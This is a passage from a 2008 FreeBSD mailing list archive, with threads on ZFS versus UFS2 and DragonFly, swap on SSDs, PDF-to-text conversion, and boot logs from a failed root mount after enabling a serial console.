ZFS only on my personnal computer (more because to make test and send bug reports than because I'm really use ZFS) Of course when ZFS is fully integrated and very solid under FreeBSD, I'm going to very happy and use it. But at this moment for production and for ?small? FS I'm not really need ZFS. I think ZFS become indispensable when the FS continue to growing ... a fsck on > 4 To is very very long. When ZFS is stable ZFS >> UFS2 >> ext3 > UFS1 at this moment UFS2 >> ZFS > ext3 > UFS1 Regards. -- Albert SHIH SIO batiment 15 Observatoire de Paris Meudon 5 Place Jules Janssen 92195 Meudon Cedex T?l?phone : 01 45 07 76 26 Heure local/Local time: Mar 2 d?c 2008 22:25:20 CET From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 13:57:53 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 13:57:59 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <46703346351880256269680332892534375073-Webmail@me.com> References: <46703346351880256269680332892534375073-Webmail@me.com> Message-ID: <20081202225725.B16927@wojtek.tensor.gdynia.pl> > performance and 1.8 times higher than freebsd 4 UP performance." > > Please explain how DragonFly's lack of SMP affects the UP performance? doesn't affect of course. yes dragonflybsd is slower. From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 13:58:39 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 13:58:45 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202213750.GA58666@obspm.fr> References: <200812010959.15647.kirk@strauser.com> <20081202213750.GA58666@obspm.fr> Message-ID: <20081202225810.K16927@wojtek.tensor.gdynia.pl> > To come back to FreeBSD, I'm using FreeBSD since > 10 years, UFS is very > slow, and when UFS2 is release I'm very happy to switch to UFS2. simply turn on softupdates and turn off atime From dan-freebsd-questions at ourbrains.org Tue Dec 2 13:59:04 2008 From: dan-freebsd-questions at ourbrains.org (Dan) Date: Tue Dec 2 13:59:11 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202221411.W16797@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> <20081202211113.GA19886@ourbrains.org> <20081202221411.W16797@wojtek.tensor.gdynia.pl> Message-ID: <20081202215925.GC19886@ourbrains.org> Wojciech Puchar(wojtek@wojtek.tensor.gdynia.pl)@2008.12.02 22:14:55 +0100: >>> >> >> That's a stupid benchmark. DragonFly doesn't have SMP support yet. > > my "benchmark" is to start it install programs i use commonly and compare > it to other system. > > on single-core machine i tested FreeBSD is faster. Good things come to those who wait. IMO the best thing about DragonFly is what and how you can build on top of it. Compared to other BSDs it has a rewritten kernel, and this work continues. It will be much easier to build clustering on top of this kernel. HAMMER already supports replication, and from following this list I know some people want this feature like yesterday. From dan-freebsd-questions at ourbrains.org Tue Dec 2 14:04:27 2008 From: dan-freebsd-questions at ourbrains.org (Dan) Date: Tue Dec 2 14:04:33 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <46703346351880256269680332892534375073-Webmail@me.com> References: <46703346351880256269680332892534375073-Webmail@me.com> Message-ID: <20081202220447.GD19886@ourbrains.org> Peter Giessel(pgiessel@mac.com)@2008.12.02 12:22:09 -0900: > Please explain how DragonFly's lack of SMP affects the UP performance? > > Also, from an end user perspective, you can hardly get a computer > these days that only has one core. SMP performance is very relevant > from that perspective. So it is slower now, but it's just a matter of resources. Once someone takes on the SMP it will get there. DragonFly is a small project vs. FreeBSD. It needs developers. Also FreeBSD doesn't seem to care for clustering. While significant work has been done in DragonFly to build single image clustering on top. From fbsd06 at mlists.homeunix.com Tue Dec 2 14:57:46 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Tue Dec 2 14:57:55 2008 Subject: Swapping to MMC (Was: To swap or not to swap) In-Reply-To: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081202224640.4203c195@gumby.homeunix.com> On Tue, 2 Dec 2008 20:47:26 +0000 "Anthony M. Rasat" wrote: > Pros: 1) System requires swap. Period. 2) Swap may need size in range > between 2.17 times to 2.22 time or whatever size it need. This is not > prohibited by Eee's SSD size (4GB btw, 701 series). Add what swap you need, but in my experience things get pretty slow before you even reach 1x system memory on hard disks. AFAIK the 2x figure is to do with saving kernel dumps, which you probably don't want to bother with. > > Cons: 1) Since SSD is manufactured have limited lifetime (around > 100,000 times write operation or so, I read it somewhere), swapping > to SSD is more likely not a wise thing to do. I don't think it's much of a problem with modern wear-levelling. It's 100,000 writes per block with the writes being spread evenly over the device (albeit with extra write for the wear-levelling). There are few writes to swap until you run low on memory, so simply having swap wont by itself wear out the device. > Two against one. I concurr that swap is needed. However since SSD in > 701 series is not removable, having a bad sector in SSD is one thing > you don't want to have. I would think they have spare sectors like hard disks do. > performances? And what happened if FreeBSD kernel suddenly lose its > swap file by absent-minded human? Is it going to be just angry or > having massive heart attack? I'm not sure whether an active swap file can be deleted or not, but it would be owned by root, so not deletable by a normal user. I suspect that it would behave like an open file and not be genuinely deleted until swapoff'ed. In any case it's not more of a risk than deleting any critical file. From kitchetech at gmail.com Tue Dec 2 15:40:30 2008 From: kitchetech at gmail.com (matt donovan) Date: Tue Dec 2 15:40:36 2008 Subject: stand-alone GTK2 wlan config tool? In-Reply-To: <20081202164854.3445cbcb.ghirai@ghirai.com> References: <20081202164854.3445cbcb.ghirai@ghirai.com> Message-ID: <28283d910812021540q712ec8abrd52183c96621f132@mail.gmail.com> On Tue, Dec 2, 2008 at 9:48 AM, Ghirai wrote: > Hello list, > > Are there any stand-alone, GTK2, wlan config apps out there (basic > stuff, like viewing available networks, setting wpa key, connecting, > etc.)? > > I'm using xfce, and the wlan plugin thingie can only show the signal > strength, assuming i'm already connected. > > Thanks. > > -- > Regards, > Ghirai. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" hmm not sure since many of the programs hook into iwconfig instead of ifconfig. for wireless since they work mainly on Linux only from the programs that I am thinking of. From kline at thought.org Tue Dec 2 16:00:07 2008 From: kline at thought.org (Gary Kline) Date: Tue Dec 2 16:00:14 2008 Subject: any way to turn a pdf file into something OCR-able? In-Reply-To: <20081202010730.GA15970@slackbox.xs4all.nl> References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> Message-ID: <20081202235959.GB63279@thought.org> On Tue, Dec 02, 2008 at 02:07:30AM +0100, Roland Smith wrote: > On Mon, Dec 01, 2008 at 03:14:43PM -0800, Gary Kline wrote: > > pdftotext fail on the large [32MB] file I've got. Is there any > > other way I can translate this huge textfile to ascii or html or > > text? > > Please define "fail" in this context? I've used pdftotxt on documents > exceeding 40MB. However there are of course things that don't work; > > 1) Some PDFs are just wrappers around JPEG images. In this case there is > no text for pdftotext to convert => epic fail. > > 2) If the text contains ligatures etc. you should use the proper > encoding that contains such characters (e.g. '-enc UTF-8') or you will > loose them. > > 3) Things like equations will not render well, if at all. This also > depends on the encoding. It probably was a pdf wrapped around a jpeg. I was able to to another pdf to plaintext in a flash. (*sigh*) it wasn't a total waste of time because I found the entire text transfered to buugy ASCII somewhere [[ thanks to some prof ]]. So, if I ever want to run aspell against a 900-page file, at least I have that option! gary > > Roland > -- > R.F.Smith http://www.xs4all.nl/~rsmith/ > [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] > pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org Flash: The alpha release of Jottings is available: http://jottings.thought.org/index.php From lijimlee at gmail.com Tue Dec 2 16:04:00 2008 From: lijimlee at gmail.com (Ji) Date: Tue Dec 2 16:04:09 2008 Subject: mount problem after enabling serial console In-Reply-To: <200812020910.38815.fbsd.questions@rachie.is-a-geek.net> References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> <200812020910.38815.fbsd.questions@rachie.is-a-geek.net> Message-ID: <8fd8f02c0812021603y4d6f2f7ehdac338c5f01e4cc9@mail.gmail.com> Thank you again, Mel. I could not find BIOS has an "Enhanced" or "AHCI" setting for the disk controllers. Also attached please find the booting message without serial enabled and with serial enabled. (The kernel configuration file is the original GENERIC for FBSD7 amd64) =============== dmesg without enabling serial console =================== Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.23-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 2133360640 (2034 MB) avail memory = 2058694656 (1963 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 ioapic0: Changing APIC ID to 2 ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 acpi_hpet0: iomem 0xfed00000-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 900 cpu0: on acpi0 est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 cpu1: on acpi0 est1: on cpu1 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est1 attach returned 6 p4tcc1: on cpu1 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: irq 16 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 16 at device 0.0 on pci1 em0: Using MSI interrupt em0: Ethernet address: 00:15:17:37:11:06 em0: [FILTER] pcib2: irq 16 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 16 at device 0.0 on pci2 em1: Using MSI interrupt em1: Ethernet address: 00:15:17:36:19:d4 em1: [FILTER] pcib3: irq 16 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 16 at device 0.0 on pci3 miibus0: on bge0 brgphy0: PHY 1 on miibus0 brgphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge0: Ethernet address: 00:1e:c9:ff:58:48 bge0: [ITHREAD] pcib4: irq 17 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 17 at device 0.0 on pci4 miibus1: on bge1 brgphy1: PHY 1 on miibus1 brgphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge1: Ethernet address: 00:1e:c9:ff:58:49 bge1: [ITHREAD] uhci0: port 0xbc60-0xbc7f irq 21 at device 29.0 on pci0 uhci0: [GIANT-LOCKED] uhci0: [ITHREAD] usb0: on uhci0 usb0: USB revision 1.0 uhub0: on usb0 uhub0: 2 ports with 2 removable, self powered uhci1: port 0xbc80-0xbc9f irq 20 at device 29.1 on pci0 uhci1: [GIANT-LOCKED] uhci1: [ITHREAD] usb1: on uhci1 usb1: USB revision 1.0 uhub1: on usb1 uhub1: 2 ports with 2 removable, self powered uhci2: port 0xbca0-0xbcbf irq 21 at device 29.2 on pci0 uhci2: [GIANT-LOCKED] uhci2: [ITHREAD] usb2: on uhci2 usb2: USB revision 1.0 uhub2: on usb2 uhub2: 2 ports with 2 removable, self powered ehci0: mem 0xdfaffc00-0xdfafffff irq 21 at device 29.7 on pci0 ehci0: [GIANT-LOCKED] ehci0: [ITHREAD] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb0 usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered umass0: on uhub3 uhub4: on uhub3 uhub4: multiple transaction translators uhub4: 4 ports with 4 removable, self powered pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 19 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 23 at device 31.2 on pci0 atapci0: [ITHREAD] ata2: on atapci0 ata2: [ITHREAD] ata3: on atapci0 ata3: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: <16550A-compatible COM port> port 0x3f8-0x3ff irq 4 flags 0x10 on acpi0 sio0: type 16550A sio0: [FILTER] sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounters tick every 1.000 msec hptrr: no controller detected. ad4: 76293MB at ata2-master SATA300 SMP: AP CPU #1 Launched! cd0 at umass-sim0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-0 device cd0: 40.000MB/s transfers cd0: Attempt to query device size failed: NOT READY, Medium not present Trying to mount root from ufs:/dev/ad4s1a ========problematic booting After enabling serial (copied from serial console)============== Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.22-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 2133360640 (2034 MB) avail memory = 2058747904 (1963 MB) kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) cpu0 on motherboard est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 pcib0: pcibus 0 on motherboard pci0: on pcib0 pcib1: irq 15 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 15 at device 0.0 on pci1 em0: Unable to allocate bus resource: interrupt em0: Allocation of PCI resources failed device_attach: em0 attach returned 6 pcib2: irq 15 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 15 at device 0.0 on pci2 em1: Unable to allocate bus resource: interrupt em1: Allocation of PCI resources failed device_attach: em1 attach returned 6 pcib3: irq 15 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 15 at device 0.0 on pci3 bge0: couldn't map interrupt device_attach: bge0 attach returned 6 pcib4: irq 14 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 14 at device 0.0 on pci4 bge1: couldn't map interrupt device_attach: bge1 attach returned 6 uhci0: port 0xbc60-0xbc7f irq 11 at device 29.0 on pci0 uhci0: Could not allocate irq device_attach: uhci0 attach returned 6 uhci1: port 0xbc80-0xbc9f irq 10 at device 29.1 on pci0 uhci1: Could not allocate irq device_attach: uhci1 attach returned 6 uhci2: port 0xbca0-0xbcbf irq 11 at device 29.2 on pci0 uhci2: Could not allocate irq device_attach: uhci2 attach returned 6 ehci0: mem 0xdfaffc00-0xdfafffff irq 11 at device 29.7 on pci0 ehci0: Could not allocate irq device_attach: ehci0 attach returned 6 pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 5 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 6 at device 31.2 on pci0 atapci0: unable to map interrupt device_attach: atapci0 attach returned 6 orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 atkbdc0: at port 0x60,0x64 on isa0 fdc0: cannot reserve interrupt line ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0 at port 0x3f8-0x3ff irq 4 flags 0x30 on isa0 sio0: type 16550A, console sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 3000222630 Hz quality 800 Timecounters tick every 1.000 msec hptrr: no controller detected. Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ? List of GEOM managed disk devices: Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:/dev/ad4s1a Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> panic: Root mount failed, startup aborted. cpuid = 0 Uptime: 1s Cannot dump. No dump device defined. Automatic reboot in 15 seconds - press a key on the console to abort --> Press a key on the console to reboot, --> or switch off the system now. Rebooting... ========normal booting after enabling serial (copied from serial console)=============== Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.22-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 2133360640 (2034 MB) avail memory = 2058694656 (1963 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 ioapic0: Changing APIC ID to 2 ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 acpi_hpet0: iomem 0xfed00000-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 900 cpu0: on acpi0 est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 cpu1: on acpi0 est1: on cpu1 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est1 attach returned 6 p4tcc1: on cpu1 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: irq 16 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 16 at device 0.0 on pci1 em0: Using MSI interrupt em0: Ethernet address: 00:15:17:37:11:06 em0: [FILTER] pcib2: irq 16 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 16 at device 0.0 on pci2 em1: Using MSI interrupt em1: Ethernet address: 00:15:17:36:19:d4 em1: [FILTER] pcib3: irq 16 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 16 at device 0.0 on pci3 miibus0: on bge0 brgphy0: PHY 1 on miibus0 brgphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge0: Ethernet address: 00:1e:c9:ff:58:48 bge0: [ITHREAD] pcib4: irq 17 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 17 at device 0.0 on pci4 miibus1: on bge1 brgphy1: PHY 1 on miibus1 brgphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge1: Ethernet address: 00:1e:c9:ff:58:49 bge1: [ITHREAD] uhci0: port 0xbc60-0xbc7f irq 21 at device 29.0 on pci0 uhci0: [GIANT-LOCKED] uhci0: [ITHREAD] usb0: on uhci0 usb0: USB revision 1.0 uhub0: on usb0 uhub0: 2 ports with 2 removable, self powered uhci1: port 0xbc80-0xbc9f irq 20 at device 29.1 on pci0 uhci1: [GIANT-LOCKED] uhci1: [ITHREAD] usb1: on uhci1 usb1: USB revision 1.0 uhub1: on usb1 uhub1: 2 ports with 2 removable, self powered uhci2: port 0xbca0-0xbcbf irq 21 at device 29.2 on pci0 uhci2: [GIANT-LOCKED] uhci2: [ITHREAD] usb2: on uhci2 usb2: USB revision 1.0 uhub2: on usb2 uhub2: 2 ports with 2 removable, self powered ehci0: mem 0xdfaffc00-0xdfafffff irq 21 at device 29.7 on pci0 ehci0: [GIANT-LOCKED] ehci0: [ITHREAD] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb0 usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered umass0: on uhub3 uhub4: on uhub3 uhub4: multiple transaction translators uhub4: 4 ports with 4 removable, self powered pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 19 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 23 at device 31.2 on pci0 atapci0: [ITHREAD] ata2: on atapci0 ata2: [ITHREAD] ata3: on atapci0 ata3: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: <16550A-compatible COM port> port 0x3f8-0x3ff irq 4 flags 0x30 on acpi0 sio0: type 16550A, console sio0: [FILTER] sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounters tick every 1.000 msec hptrr: no controller detected. ad4: 76293MB at ata2-master SATA300 SMP: AP CPU #1 Launched! cd0 at umass-sim0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-0 device cd0: 40.000MB/s transfers cd0: Attempt to query device size failed: NOT READY, Medium not present Trying to mount root from ufs:/dev/ad4s1a Loading configuration files. kernel dumps on /dev/ad4s3b Entropy harvesting: interrupts ethernet point_to_point kickstart. swapon: adding /dev/ad4s3b as swap device Starting file system checks: /dev/ad4s1a: FILE SYSTEM CLEAN; SKIPPING CHECKS /dev/ad4s1a: clean, 12820246 free (58710 frags, 1595192 blocks, 0.4% fragmentation) Setting hostuuid: 44454c4c-3400-1053-8059-b7c04f484831. Setting hostid: 0x0188e958. Mounting local file systems:. Setting hostname: .fastsoft.com. net.inet6.ip6.auto_linklocal: 1 -> 0 bge0: link state changed to DOWN bge0: no link .....bge0: link state changed to UP got link DHCPREQUEST on bge0 to 255.255.255.255 port 67 DHCPACK from 172.16.0.22 bound to 172.16.1.16 -- renewal in 345600 seconds. lo0: flags=8049 metric 0 mtu 16384 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x5 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 b bge0: flags=884g3 metric: 0 mtu 1500 op tions=9b etkher 00:1e:c9:ff: 58:48 inet 172s.16.1.16 netmaskt 0xffff0000 broaadcast 172.16.255t.255 media: Etehernet autoselec t (1000baseTX ) shtatus: active aAdditional routinng options:. Stgarting devd. ed to UP hw.acpi.cpu.cx_lowest: C1 sysctl: hw.acpi.cpu.cx_lowest: Invalid argument Additional IP options:. Mounting NFS file systems:. Creating and/or trimming log files:. Starting syslogd. Checking for core dump on /dev/ad4s3b... savecore: no dumps found ELF ldconfig path: /lib /usr/lib /usr/lib/compat 32-bit compatibility ldconfig path: Initial amd64 initialization:. Additional ABI support:. Clearing /tmp (X related). Starting local daemons:. Updating motd. Mounting late file systems:. Configuring syscons: blanktime. Starting sshd. Starting cron. Local package initialization:. Starting background file system checks in 60 seconds. Tue Dec 2 16:58:50 UTC 2008 FreeBSD/amd64 (xxxxx) (ttyd0) login: From kline at thought.org Tue Dec 2 16:07:46 2008 From: kline at thought.org (Gary Kline) Date: Tue Dec 2 16:07:52 2008 Subject: any way to turn a pdf file into something OCR-able? In-Reply-To: <86ej0qjsb0.fsf@Boqueria.shenton.org> References: <20081201231440.GA30682@thought.org> <86ej0qjsb0.fsf@Boqueria.shenton.org> Message-ID: <20081203000741.GC63279@thought.org> On Tue, Dec 02, 2008 at 02:22:27PM -0500, Chris Shenton wrote: > Gary Kline writes: > > > pdftotext fail on the large [32MB] file I've got. Is there any other way I > > can translate this huge textfile to ascii or html or text? > > I wrote some code using Python PDF library 'pypdf' to split a multipage > PDF scan into individual pages, then used the tesseract OCR to convert > to text. Not 100% of course, and it really got confused by pages that > were not right-side-up, but not a bad start for pages that are really > scans -- images -- rather than PDF representation of text. > > Sadly, I haven't gotten it into a suitable state to release. Well, sounds hopeful for when I scan around 200 pages of pre-1923 journal articles. These are 